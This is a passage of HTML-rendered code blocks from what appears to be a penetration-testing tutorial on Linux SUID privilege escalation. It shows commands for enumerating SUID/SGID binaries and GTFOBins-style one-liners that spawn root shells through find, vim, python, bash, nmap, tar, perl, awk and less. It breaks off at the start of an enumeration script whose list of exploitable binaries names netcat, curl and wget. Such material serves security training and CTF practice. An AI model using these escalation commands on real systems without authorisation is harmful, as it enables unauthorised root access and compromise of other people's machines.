&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -perm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u=s&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -type&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/dev/null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Limit the search to common binary paths for faster speed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /usr/bin&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /sbin&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /opt&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /home&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -perm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u=s&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -type&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/dev/null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Also checks SGID binaries (runs as group owner)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -perm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -g=s&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -type&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/dev/null&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A clean system will return a short and predictable list. Look for anything &lt;strong&gt;unusual&lt;/strong&gt;—non-standard paths, custom scripts, or development tools.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-2--cross-referencing-with-gtfobins&quot;&gt;Step 2 — Cross-referencing with GTFOBins&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://gtfobins.github.io/&quot;&gt;GTFOBins&lt;/a&gt; is the definitive reference for Unix binaries that can be abused when given elevated permissions.&lt;/p&gt;
&lt;h3 id=&quot;find&quot;&gt;find&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Check if SUID is enabled&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ls&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -la&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;which&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; find&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# -rwsr-xr-x 1 root root 204112 ... /usr/bin/find&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Exploit — spawns a root shell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -exec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /bin/sh&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -quit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Check escalation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# root&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;-p&lt;/code&gt; flag is critical — it tells &lt;code&gt;sh&lt;/code&gt; to &lt;strong&gt;preserve the effective UID&lt;/strong&gt; instead of discarding it.&lt;/p&gt;
&lt;h3 id=&quot;vim--vi&quot;&gt;vim / vi&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Check&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ls&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -la&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;which&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; vim&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Method 1: via Python3 extension&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vim&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;:py3 import os; os.execl(&amp;#x26;quot;/bin/sh&amp;#x26;quot;, &amp;#x26;quot;sh&amp;#x26;quot;, &amp;#x26;quot;-pc&amp;#x26;quot;, &amp;#x26;quot;reset; exec sh -p&amp;#x26;quot;)&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Method 2: direct shell spawn&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vim&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;:!sh -p&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Method 3: via shell escape in normal mode (inside vim)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# :set shell=/bin/sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# :shell&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;python--python3&quot;&gt;python / python3&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;import os; os.execl(&amp;#x26;quot;/bin/sh&amp;#x26;quot;, &amp;#x26;quot;sh&amp;#x26;quot;, &amp;#x26;quot;-p&amp;#x26;quot;)&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Also works in older python2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;import os; os.execl(&amp;#x26;quot;/bin/sh&amp;#x26;quot;, &amp;#x26;quot;sh&amp;#x26;quot;, &amp;#x26;quot;-p&amp;#x26;quot;)&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;bash&quot;&gt;bash&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Only exploitable if SUID is on bash itself (rare, but happens in CTFs)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ls&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -la&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /bin/bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# -rwsr-xr-x 1 root root ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;bash&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -p&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# bash-5.1# whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# root&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;nmap-legacy-versions--535&quot;&gt;nmap (legacy versions &amp;#x3C; 5.35)&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Interactive mode available in older versions of nmap&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --interactive&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; !&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;tar&quot;&gt;tar&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;tar&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -cf&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /dev/null&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /dev/null&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --checkpoint=1&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --checkpoint-action=exec=/bin/sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;perl&quot;&gt;perl&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;perl&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;exec &amp;#x26;quot;/bin/sh&amp;#x26;quot;;&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;awk&quot;&gt;awk&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;awk&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;BEGIN {system(&amp;#x26;quot;/bin/sh -p&amp;#x26;quot;)}&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;less--more&quot;&gt;less / more&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Inside the less/more pager&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;less&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /etc/passwd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Then type:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/bin/sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-3--automated-enumeration-script&quot;&gt;Step 3 — Automated Enumeration Script&lt;/h2&gt;
&lt;p&gt;The following script cross-references discovered SUID binaries with a list of known exploitable ones and generates prioritized targets.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# suid_hunter.sh — SUID enumeration and screening&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Usage: ./suid_hunter.sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Author: r3d/ops | KBM Security&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RED&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;\033[0;31m&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;YEL&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;\033[0;33m&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;GRN&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;\033[0;32m&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BLU&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;\033[0;34m&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;\033[0m&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;KNOWN_EXPLOITABLE&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vim&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vi&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;bash&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;perl&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ruby&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;tar&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;wget&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;KNOWN_EXPLOITABLE&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;nc&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;netcat&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;awk&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;less&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;more&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;man&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ftp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;strace&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ltrace&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;tclsh&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;KNOWN_EXPLOITABLE&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;env&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;lua&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;php&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ruby&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;zip&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;unzip&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;7z&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;aria2c&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BLU&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}[*] SUID Binary Hunter — r3d/ops${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
